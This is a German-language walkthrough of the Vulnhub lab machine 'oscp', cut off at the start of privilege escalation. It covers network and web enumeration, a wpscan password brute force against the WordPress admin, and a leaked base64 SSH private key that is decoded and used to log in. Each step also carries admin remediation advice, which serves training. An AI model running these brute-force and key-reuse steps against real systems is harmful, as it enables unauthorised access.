oscp - Vulnhub - Easy - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
cat
base64
dirb
wpscan
chmod
ssh
ls
whoami
find
msfconsole
nc

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Suche nach dem Ziel im lokalen Netzwerk und einem ersten Portscan zur Identifizierung offener Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:3b:1f:20	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu finden. Er identifiziert die IP-Adresse `192.168.2.114` mit der MAC-Adresse `08:00:27:3b:1f:20`. Der Hersteller `PCS Systemtechnik GmbH` weist oft auf eine VirtualBox VM hin.

**Bewertung:** Ziel erfolgreich identifiziert. Die IP `192.168.2.114` wird für die weiteren Schritte verwendet.

**Empfehlung (Pentester):** Die gefundene IP-Adresse als Ziel für detaillierte Scans verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von Scans und unautorisierten Geräten implementieren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
  192.168.2.114   oscp.vln

**Analyse:** Die lokale Hosts-Datei (`/etc/hosts`) wird mittels `vi` bearbeitet, um der IP-Adresse `192.168.2.114` den Hostnamen `oscp.vln` zuzuordnen. Dies erleichtert die weitere Interaktion mit dem Ziel.

**Bewertung:** Praktischer Schritt zur Vereinfachung der Befehlseingabe. Keine direkte Sicherheitsrelevanz für das Zielsystem.

**Empfehlung (Pentester):** Den Hostnamen `oscp.vln` in nachfolgenden Befehlen verwenden.
**Empfehlung (Admin):** Keine Aktion erforderlich, da dies auf der Angreifer-Maschine geschieht.

┌──(root㉿cycat)-[~] └─# nmap -p1-65535 -A -T5 -sT 192.168.2.114
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-15 00:15 CEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for oscp (192.168.2.114)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PRT      STATE SERVICE VERSIN
22/tcp    open  ssh     penSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91ba0dd43905e31355578f1b4690dbe4 (RSA)
|   256 0f35d1a131f2f6aa75e81701e71ed1d5 (ECDSA)
|_  256 aff153ea7b4dd7fad8de0df228fc86d7 (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-generator: WordPress 5.4.2
|_http-title: SCP Voucher – Just another WordPress site
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_    HY000
MAC Address: 08:00:27:3B:1F:20 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.15 ms oscp (192.168.2.114)

**Analyse:** Ein umfassender Nmap-Scan wird gegen das Ziel durchgeführt. * `-p1-65535`: Scannt alle TCP-Ports. * `-A`: Aggressiver Scan (OS/Version/Script/Traceroute). * `-T5`: Sehr schnelles Timing. * `-sT`: TCP Connect Scan. Ergebnisse: * **Port 22 (SSH):** Offen, OpenSSH 8.2p1 auf Ubuntu. Hostkeys werden angezeigt. * **Port 80 (HTTP):** Offen, Apache 2.4.41 auf Ubuntu. Nmap erkennt eine **WordPress 5.4.2** Installation (`http-generator`, `http-title`). Die `robots.txt` verbietet `/secret.txt`. * **Port 33060 (mysqlx?):** Offen, wird als MySQL X Protocol identifiziert (neueres Protokoll für MySQL). Die Fingerprint-Strings deuten auf einen Fehler oder unerwartete Antworten hin. Die OS-Erkennung deutet auf einen Linux-Kernel der Version 4.x oder 5.x hin.

**Bewertung:** Der Scan identifiziert drei offene Ports. SSH und HTTP (mit WordPress) sind die Hauptangriffsvektoren. Der MySQL X Port 33060 ist interessant, aber möglicherweise nicht direkt ausnutzbar. Die WordPress-Version 5.4.2 ist relativ alt (Stand Ende 2023). Der Eintrag `/secret.txt` in `robots.txt` ist ein wichtiger Hinweis.

**Empfehlung (Pentester):** 1. Den Webserver auf Port 80 untersuchen (Nikto, Gobuster, `wpscan`). 2. Die Datei `/secret.txt` direkt aufrufen. 3. Den MySQL X Port 33060 recherchieren (bekannte Schwachstellen, Verbindungstools).
**Empfehlung (Admin):** 1. Apache und WordPress (Core, Themes, Plugins) auf die neuesten Versionen aktualisieren. 2. SSH härten (Keys, Fail2ban). 3. Überprüfen, ob der MySQL X Port 33060 benötigt wird und ob der Zugriff darauf eingeschränkt werden kann. 4. `robots.txt` überprüfen und keine sensiblen Pfade auflisten.

┌──(root㉿cycat)-[~] └─# nmap -p1-65535 -A -T5 -sT 192.168.2.114 | grep open
22/tcp    open  ssh     penSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open  mysqlx?

**Analyse:** Wiederholung des Nmap-Scans mit `grep open` zur Filterung der Ausgabe. Bestätigt die offenen Ports 22, 80 und 33060.

**Bewertung:** Redundante Bestätigung, keine neuen Informationen.

**Empfehlung (Pentester):** Kann zur schnellen Übersicht genutzt werden.
**Empfehlung (Admin):** Keine Aktion.

Web Enumeration

Untersuchung des Webservers auf Port 80, um Schwachstellen, interessante Dateien und die Struktur der WordPress-Installation zu finden.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.114
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2023-09-15 00:16:03 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/secret.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login.php: Wordpress login found.
+ 8105 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2023-09-15 00:16:23 (GMT2) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Nikto scannt den Webserver. * Bestätigt Apache 2.4.41 (veraltet) und WordPress. * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * **Hebt hervor, dass `/secret.txt` aus `robots.txt` mit HTTP-Status 200 (OK) antwortet**, was bedeutet, dass die Datei zugänglich ist. * Findet Standard-WordPress-Dateien (`readme.txt`, `wp-links-opml.php`, `license.txt`, `wp-login.php`). * Meldet ein Cookie ohne `HttpOnly`-Flag.

**Bewertung:** Nikto bestätigt die wichtigsten Nmap-Funde und betont die Zugänglichkeit von `/secret.txt`. Dies ist der vielversprechendste nächste Schritt.

**Empfehlung (Pentester):** Die Datei `/secret.txt` sofort abrufen und analysieren. Danach `wpscan` für eine detaillierte WordPress-Analyse.
**Empfehlung (Admin):** Apache aktualisieren, Sicherheitsheader hinzufügen. Die Datei `/secret.txt` entfernen und sicherstellen, dass `robots.txt` keine sensiblen Pfade preisgibt, die tatsächlich existieren.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://oscp.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://oscp.vln/index.php            (Status: 301) [Size: 0] [--> http://oscp.vln/]
http://oscp.vln/wp-content           (Status: 301) [Size: 309] [--> http://oscp.vln/wp-content/]
http://oscp.vln/wp-login.php         (Status: 200) [Size: 4812]
http://oscp.vln/license.txt          (Status: 200) [Size: 19915]
http://oscp.vln/wp-includes          (Status: 301) [Size: 310] [--> http://oscp.vln/wp-includes/]
http://oscp.vln/javascript           (Status: 301) [Size: 309] [--> http://oscp.vln/javascript/]
http://oscp.vln/readme.html          (Status: 200) [Size: 7278]
http://oscp.vln/robots.txt           (Status: 200) [Size: 36]
http://oscp.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://oscp.vln/secret.txt           (Status: 200) [Size: 3502]
http://oscp.vln/wp-admin             (Status: 301) [Size: 307] [--> http://oscp.vln/wp-admin/]

**Analyse:** Gobuster wird zum Directory/File-Brute-Forcing verwendet. Es findet Standard-WordPress-Pfade und bestätigt erneut die Existenz und Zugänglichkeit von `/robots.txt` und `/secret.txt` (Status 200).

**Bewertung:** Bestätigt die Ergebnisse von Nmap und Nikto. `/secret.txt` ist der wichtigste Fund.

**Empfehlung (Pentester):** `/secret.txt` untersuchen.
**Empfehlung (Admin):** WAF implementieren, um Brute-Force-Scans zu erschweren.

Inhalt der `robots.txt`.

http://oscp.vln/robots.txt
User-Agent: *
Disallow: /secret.txt

**Analyse:** Die `robots.txt` weist Suchmaschinen an, `/secret.txt` nicht zu indexieren.

**Bewertung:** Paradoxerweise lenkt der `Disallow`-Eintrag die Aufmerksamkeit erst recht auf `/secret.txt`. `robots.txt` ist keine Zugriffskontrolle.

**Empfehlung (Pentester):** Die Datei trotzdem aufrufen.
**Empfehlung (Admin):** Sensible Dateien niemals über `robots.txt` "schützen". Zugriff serverseitig beschränken und die Datei entfernen.

Inhalt der `/secret.txt`.

http://oscp.vln/secret.txt
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFB
QUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUJsd0FBQUFkemMyZ3RjbgpaEFBQUFB
d0VBQVFBQUFZRUF0SENzU3pIdFVGEs4dGlPcUVDUVlMcktLckNSc2J2cTZpSUc3UjlnMFdQdjl3
K2drVVdlCkl6QlNjdmdsTEU5ZmxvbHNLZHhmTVFRYk1WR3FTQURuWUJUYXZhaWdRZWt1ZTBiTHNZ
ay9yWjVGaE9VUlpMVHZkbEpXeHoKYklleUM1YTVGMERsVVZbXpDaGU0M3owRG8waVF3MTc4R0pV
UWFxc2NMbUVhdHFJaVQvMkZrRitBdmVXM2hxUGZicnc5dgpBVFBSVVBM2xlZHFyFhFelkvL0xx
MCtzUWcvcFV1MEtQa1kxGk2dm5maVlIR2t5VzFTZ3J5UGg1eDlCR1RrM2VSWWNCnc2bURiQWpY
S0tDSEdNK2RubkdZ3ZBa3FUK2daV3ovTXB5MGVrYXVrNk5QN05Dek9STnJJWEFZRmExcld6YUV0
eXBId1kKa0NFY2ZXSkpsWjcrZmNFRmE1QjdnRXd0L2FLZEZSWFBRd2luRmxpUU1ZTW1hdThQWmJQ
aUJJcnh0SVlYeTNNSGNLQklzSgowSFNLditIYktXWtwVEw1T29Ba0I4ZkhGMzB1alZPYjZZVHVj
MXNKS1dSSElaWTNxZTA4STJSWGVFeEZGWXU5b0x1ZzBkCnRIWWRKSEZMN2NXaU52NG1SeUo5UmNy
aFZMMVYzQ2F6TlpLS3dyYVJBQUFGZ0g5SlFMMS9TVUM5QUFBQUIzTnphQzF5YzIKRUFBQUdCQUxS
d3JFc3g3VkJmQ3ZMWWpxaEFrR0M2eWlxd2tiRzc2dW9pQnUwZllRmo3L2NQb0pGRm5pTXdVbkw0
SlN4UApYNWFKYkNuY1h6RUVHekZScWtnQTUyQVUycjJvb0VIcExudEd5N0dKUDYyZVJZVGxFV1Mw
NzNaU1ZzYzJ5SHNndVd1UmRBCjVmVkdKc3dvWHVDlBNk5Ja01ZS9CaVZFR3FySEM1aEdyYWlJ
ay85aFpCZmdMM2x0NGFqMzI2FBid1BVQUNGQU41WG4KYXEvRnhNMlAveTZ0UHJFSVA2Vkx0Q2o1
R05mSXVyNTM0bUJ4cE1sdFVvSzhqNGVjZlFSazVM2tXSERjT3BnMndJMXlpZwpoeGpQblo1eGpZ
THdKS2svb0dWcy96S2N0SHBHcnBPalQrelFzemtUYXlGd0dCV3RhMXMyaExjcVI4R0pBaEhIMWlT
WldlCi9uM0JCV3VRZTRCTUxmMmluUlVWejBNSXB4WllrREdESm1ydkQyV3o0Z1NLGJTR0Y4dHpC
M0NnU0xDZEIwaXIvaDJ5bHYKWktVeStUcUFKQWZIeHhkUxvMVRtK21FN25YkNTbGtSeUdXTjZu
dFBDTmtWM2hNUlJXTHZhQzdvTkhiUjJIU1J4UyszRgpvamIrSmtjaWZVWEs0VlM5VmR3bXN6V1Np
c0sya1FBQUFBTUJBQUVBQUFHQkFMQ3l6ZVp0SkFwYXFHd2I2Y2VXUWt5WFhyCmJqWmlsNDdwa05i
VjcwSldtbnhpeFkzMUtqckRLbGRYZ2t6TEpSb0RmWXAxVnUrc0VUVmxXN3RWY0JtNU1abVFPMWlB
cEQKZ1VNemx2RnFpRE5MRktVSmRUajdmcXlPQVhEZ2t2FFrc05tRXhLb0JBakduTTl1HJSQXlq
NVBbzF3QVdLcENMeElZMwpCaGRsbmVYUFYRFYvY0tHRnZXMWFPTWxHQ2VhSjBEeFNBd0c1Snlz
NEtpNmtKNUVrZldvGVsc1VXRjMwd1FrVzl5aklQClVGNUZxNnVkSlBubUVXQXB2THQ2MkllVHZG
cWcrdFB0R25WUGxlTzNsdm5DQkJJeGY4dkJrFd0b0pWSmRKdDNoTzhjNGoKa010WHN2TGdSbHZl
MWJaVVpYNU15bUhhbE4vTEExSXNvQzRZa2cvcE1nM3M5Y1lSUmttK0d4aVVVNWJ2WV6d000Qm1r
bwpRUHZ5VWN5ZTI4endrTzZ0Z1ZNWng0b3NySW9Vd0RFVVZGJkbUQyVUJaMm4zQ1pNa09WVhK
eGVqdTUxa0gxZnM4cTM5ClFYZnhkTmhCYjNZcjJSakNGVUxEeGh3RFNJSHpHN2dmSkVEYVdZY09r
TmtJYUhIZ2FWN2t4enlwWWNxTHJzMFM3QzRRQUEKQU1FQWhkbUQ3UXU1dHJ0QkYzbWdmY2RxcFpP
cTYrdFc2aGttUjBoWk5YNVo2Zm5lZFV4Ly9RWTVzd0tBRXZnTkNLSzhTbQppRlhsWWZnSDZLLzVV
blpuZ0Viak1RTVRkT09sa2JyZ3BNWWloK1pneXZLMUxvT1R5TXZWZ1Q1TE1nakpHc2FRNTM5M00y
CnlVRWlTWGVyN3E5ME42VkhZWERKaFVXWDJWM1FNY0NxcHRTQ1MxYlNxdmttTnZoUVhNQWFBUzhB
SncxXFYV1hpbTE1U3AKV29xZGpvU1dFSnhLZUZUd1VXN1dPaVlDMkZ2NWRzM2NZT1I4Um9yYm1H
bnpkaVpneFpBQUFBd1FEaE5YS21TMG9WTWREeQozZktaZ1R1d3I4TXk1SHlsNWpyYTZvd2ovNXJK
TVVYNnNqWkVpZ1phTZFamNldlpKeUdURjJ1Vjc3QVEyUnF3bmJiMkdsCmpkTGtjMFl0XVicVNp
a2Q1ZjhBa1psWkJzQ0lydnVEUVpDb3haQkd1RDJEVVd6T2dLTWxmeHZGQk5RRitMV0ZndGJyU1AK
T2dCNGloZFBDMSs2RmRTalFKNzdmMWJR0htbjBhbW9pdUpqbFVPT1BMMWNJUHp0MGh6RVJMajJx
djlEVWVsVE9VcmFuTwpjVVdyUGdyelZHVCtRdmtrakdKRlgrcjh0R1dDQU9RUlVBQUFEQkFNMGNS
aERvd09GeDUwSGtFK0hNSUoyalFJZWZ2d3BtCkJuMkZNmt3NEdMWmlWY3FVVDZhWTY4bmpMaWh0
RHBlZVN6b3BTanlLaDEwYk53UlMwREFJTHNjV2c2eGMvUjh5dWVBZUkKUmN3DV1ZGtoTlZXcGVy
ZzRPc2lGWk1wd0txY01sdDhpNmxWbW9VQmpSdEJENGc1TVlXUkFTzBajlWV01UYlc5UkxpUgpr
dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqG5aMGNNTnZvQVJxN1ZuQ05HVFBh
bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg

**Analyse:** Der Inhalt von `/secret.txt` wird angezeigt. Es handelt sich um einen Base64-kodierten Textblock, der mit `LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K` beginnt. Dies ist die Base64-Kodierung von `-----BEGIN OPENSSH PRIVATE KEY-----`.

**Bewertung:** **Kritischer Fund bestätigt!** Dies ist definitiv ein privater SSH-Schlüssel, der frei zugänglich ist.

**Empfehlung (Pentester):** Den Base64-Block kopieren, dekodieren (z.B. mit `echo '...' | base64 -d > id_rsa_oscp`) und den resultierenden privaten Schlüssel für einen SSH-Login verwenden. Aufgrund des Kommentars im Schlüssel (`oscp@oscp`) sollte der Login als Benutzer `oscp` versucht werden.
**Empfehlung (Admin):** **Den SSH-Key sofort widerrufen und die Datei `/secret.txt` löschen!** Gründlich untersuchen, wie dieser Schlüssel auf den Webserver gelangen konnte. Zugriffskontrollen für das Web-Verzeichnis verschärfen.

Untersuchung des WordPress REST API Endpunkts für Benutzer.

view-source:http://192.168.2.114/index.php/wp-json/wp/v2/users/1
{"id":1,"name":"admin","url":"","description":"","link":"http:\/\/192.168.2.114\/index.php\/author\/admin\/","slug":"admin","avatar_urls":{"24":"http:\/\/1.gravatar.com\/avatar\/?s=24&d=mm&r=g","48":"http:\/\/1.gravatar.com\/avatar\/?s=48&d=mm&r=g","96":"http:\/\/1.gravatar.com\/avatar\/?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"http:\/\/192.168.2.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"collection":[{"href":"http:\/\/192.168.2.114\/index.php\/wp-json\/wp\/v2\/users"}]}}

**Analyse:** Die URL `/wp-json/wp/v2/users/1` wird aufgerufen. Dies ist ein Endpunkt der WordPress REST API, der Informationen über den Benutzer mit der ID 1 liefert. Die JSON-Antwort zeigt, dass Benutzer 1 den Namen `admin` hat.

**Bewertung:** Bestätigt die Existenz des WordPress-Benutzers `admin`. Kombiniert mit dem SSH-Key, der wahrscheinlich `oscp` gehört, gibt es nun zwei potenzielle Benutzernamen.

**Empfehlung (Pentester):** Den Benutzernamen `admin` für Brute-Force-Angriffe (falls der SSH-Key nicht funktioniert) verwenden. Den SSH-Key primär mit dem Benutzernamen `oscp` testen.
**Empfehlung (Admin):** Die WordPress REST API absichern, um Benutzerenumeration zu verhindern, falls nicht benötigt.

Erneuter `dirb`-Scan (redundant).

┌──(root㉿cycat)-[~] └─# dirb http://oscp.vln
--
DIRB v2.22
By The Dark Raver
--

START_TIME: Fri Sep 15 00:23:10 2023
URL_BASE: http://oscp.vln/
WRDLIST_FILES: /usr/share/dirb/wordlists/common.txt

--

GENERATED WRDS: 4612

- Scanning URL: http://oscp.vln/ -
+ http://oscp.vln/index.php (CDE:301|SIZE:0)
> DIRECTRY: http://oscp.vln/javascript/
+ http://oscp.vln/robots.txt (CDE:200|SIZE:36)
+ http://oscp.vln/server-status (CDE:403|SIZE:273)
> DIRECTRY: http://oscp.vln/wp-admin/
> DIRECTRY: http://oscp.vln/wp-content/
> DIRECTRY: http://oscp.vln/wp-includes/
+ http://oscp.vln/xmlrpc.php (CDE:405|SIZE:42)

- Entering directory: http://oscp.vln/javascript/ -
> DIRECTRY: http://oscp.vln/javascript/jquery/

- Entering directory: http://oscp.vln/wp-admin/ -
+ http://oscp.vln/wp-admin/admin.php (CDE:302|SIZE:0)
> DIRECTRY: http://oscp.vln/wp-admin/css/
> DIRECTRY: http://oscp.vln/wp-admin/images/
> DIRECTRY: http://oscp.vln/wp-admin/includes/
+ http://oscp.vln/wp-admin/index.php (CDE:302|SIZE:0)
> DIRECTRY: http://oscp.vln/wp-admin/js/
> DIRECTRY: http://oscp.vln/wp-admin/maint/
> DIRECTRY: http://oscp.vln/wp-admin/network/
> DIRECTRY: http://oscp.vln/wp-admin/user/

- Entering directory: http://oscp.vln/wp-content/ -
+ http://oscp.vln/wp-content/index.php (CDE:200|SIZE:0)
> DIRECTRY: http://oscp.vln/wp-content/plugins/
> DIRECTRY: http://oscp.vln/wp-content/themes/
END_TIME: Fri Sep 15 00:23:31 2023
DWNLADED: 41508 - FUND: 14

**Analyse:** Ein weiterer `dirb`-Scan wird ausgeführt. Die Ergebnisse sind identisch mit dem vorherigen `dirb`-Scan und bestätigen bekannte Verzeichnisse.

**Bewertung:** Redundanter Scan ohne neue Erkenntnisse.

**Empfehlung (Pentester):** Vermeiden redundanter Scans im Bericht.
**Empfehlung (Admin):** Keine Aktion.

Fehlgeschlagener `wpscan`-Passwort-Brute-Force-Versuch.

┌──(root㉿cycat)-[~] └─# wpscan --url http://192.168.2.114/wp-login.php --usernames admin --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.24
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.2.114/wp-login.php/ [192.168.2.114]
[+] Started: Fri Sep 15 00:22:22 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://192.168.2.114/wp-login.php/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%


[i] No Valid Passwords Found.

[+] WPScan DB API Knda Time: 00:04:36 <            > (27775 / 14344416)  0.19%  ETA: 39:33:46
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 24

[+] Finished: Fri Sep 15 00:27:06 2023
[+] Requests Done: 28102
[+] Cached Requests: 4
[+] Data Sent: 9.919 MB
[+] Data Received: 149.314 MB
[+] Memory used: 277.84 MB
[+] Elapsed time: 00:04:43

Scan Aborted: Canceled by User

**Analyse:** `wpscan` wird verwendet, um ein Passwort-Brute-Force gegen den WordPress-Benutzer `admin` durchzuführen. Die URL (`.../wp-login.php`) ist suboptimal, sollte die Basis-URL sein. Der Scan wurde vom Benutzer abgebrochen (`Scan Aborted: Canceled by User`) und fand bis dahin kein gültiges Passwort (`No Valid Passwords Found`).

**Bewertung:** Der Brute-Force-Versuch war erfolglos/unvollständig. Dies unterstreicht die Bedeutung des zuvor gefundenen SSH-Schlüssels.

**Empfehlung (Pentester):** Den Fokus auf den SSH-Login mit dem gefundenen Schlüssel legen.
**Empfehlung (Admin):** Brute-Force-Schutzmechanismen implementieren (Rate Limiting, Fail2ban).

Initial Access

Der zuvor in der Datei `/secret.txt` gefundene und als Base64 dekodierte private SSH-Schlüssel wird nun verwendet, um sich als Benutzer `oscp` am Zielsystem anzumelden.

Inhalt des SSH-Keys (Auszug):

--BEGIN PENSSH PRIVATE KEY--
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
[...]
dW9SaVNoaDZ1Q2pHQ0NIL1dmd0NvZjllbkNlajRIRWo1RVBqG5aMGNNTnZvQVJxN1ZuQ05HVFBh
bWNYQnJmSXd4Y1ZUCjhuZksyb0RjNkxmckRtalFBQUFBbHZjMk53UUc5elkzQT0KLS0tLS1FTkQg
T1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg

**Analyse:** Der dekodierte Inhalt von `/secret.txt` wird als OpenSSH Private Key identifiziert.

**Bewertung:** Bestätigung des Fundes aus der Web Enumeration.

**Empfehlung (Pentester):** Den Schlüssel in einer Datei speichern und für den SSH-Login verwenden.
**Empfehlung (Admin):** Den Key sofort widerrufen.

┌──(root㉿cycat)-[~] └─# vi id_rsa_oscp
[Editor geöffnet, Key eingefügt]

**Analyse:** Der dekodierte SSH-Schlüssel wird in die Datei `id_rsa_oscp` auf der Angreifer-Maschine gespeichert.

**Bewertung:** Korrekte Vorbereitung zur Nutzung des Keys.

**Empfehlung (Pentester):** Dateiberechtigungen anpassen.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cycat)-[~] └─# chmod 600 id_rsa_oscp
[Keine Ausgabe]

**Analyse:** Der Befehl `chmod 600 id_rsa_oscp` setzt die Dateiberechtigungen für die Schlüsseldatei so, dass nur der Besitzer Lese- und Schreibzugriff hat. Dies ist eine Sicherheitsanforderung des SSH-Clients.

**Bewertung:** Notwendiger und korrekter Schritt.

**Empfehlung (Pentester):** Schlüssel nun für SSH-Login verwenden.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cycat)-[~] └─# ssh -i id_rsa_oscp oscp@192.168.2.114
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:RLHLygIlTRZ4nXi9nq+WIrJ26fv7tfgvVHm8FaAzE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1
-bash-5.0$

**Analyse:** Der SSH-Login wird mit dem gespeicherten Schlüssel (`-i id_rsa_oscp`) für den Benutzer `oscp` auf dem Zielsystem versucht. Nach Bestätigung des Host-Schlüssels (`yes`) erfolgt der Login erfolgreich ohne Passwortabfrage. Der Benutzer landet in einer Bash-Shell als `oscp` auf einem Ubuntu 20.04 System.

**Bewertung:** **Initial Access erfolgreich!** Der Fund des privaten SSH-Schlüssels im Webverzeichnis ermöglichte den direkten Login als Benutzer `oscp`.

**Empfehlung (Pentester):** Die erhaltene Shell zur weiteren Enumeration und Suche nach Privilege Escalation Vektoren nutzen.
**Empfehlung (Admin):** Den kompromittierten SSH-Schlüssel sofort widerrufen (aus `~/.ssh/authorized_keys` entfernen). Die Ursache für das Leaken des Schlüssels finden und beheben. SSH-Zugänge überwachen.

Privilege Escalation

Nachdem eine Shell als Benutzer `oscp` via SSH erlangt wurde, wird das System auf Möglichkeiten zur Rechteausweitung untersucht.

-bash-5.0$ ls -la
total 32
drwxr-xr-x 4 oscp oscp 4096 Jul 11  2020 .
drwxr-xr-x 3 root root 4096 Jul  9  2020 ..
-rw------- 1 oscp oscp    0 Jul 11  2020 .bash_history
-rw-r--r-- 1 oscp oscp  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 oscp oscp 3771 Feb 25  2020 .bashrc
drwxrwx--- 2 oscp oscp 4096 Jul  9  2020 .cache
-rwxr-xr-x 1 root root   88 Jul  9  2020 ip
-rw-r--r-- 1 oscp oscp  807 Feb 25  2020 .profile
drwxrwxr-x 2 oscp oscp 4096 Jul  9  2020 .ssh
-rw-r--r-- 1 oscp oscp    0 Jul  9  2020 .sudo_as_admin_successful
-bash-5.0$ cat .bash_history
-bash-5.0$ whoami
oscp
-bash-5.0$ ls /home/
oscp
-bash-5.0$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1810 Jul  9  2020 /etc/passwd

**Analyse:** Grundlegende Enumerationsbefehle werden ausgeführt: * `ls -la`: Zeigt den Inhalt des Home-Verzeichnisses von `oscp`. `.bash_history` ist leer oder nicht lesbar. Die Datei `ip` fällt auf, gehört `root` und ist ausführbar. Das `.ssh`-Verzeichnis existiert. * `cat .bash_history`: Bestätigt, dass die History leer ist (oder keine Rechte bestehen, was hier unwahrscheinlich ist). * `whoami`: Bestätigt Benutzer `oscp`. * `ls /home/`: Zeigt nur das Home-Verzeichnis `oscp`. * `ls -la /etc/passwd`: Bestätigt Lesbarkeit von `/etc/passwd`.

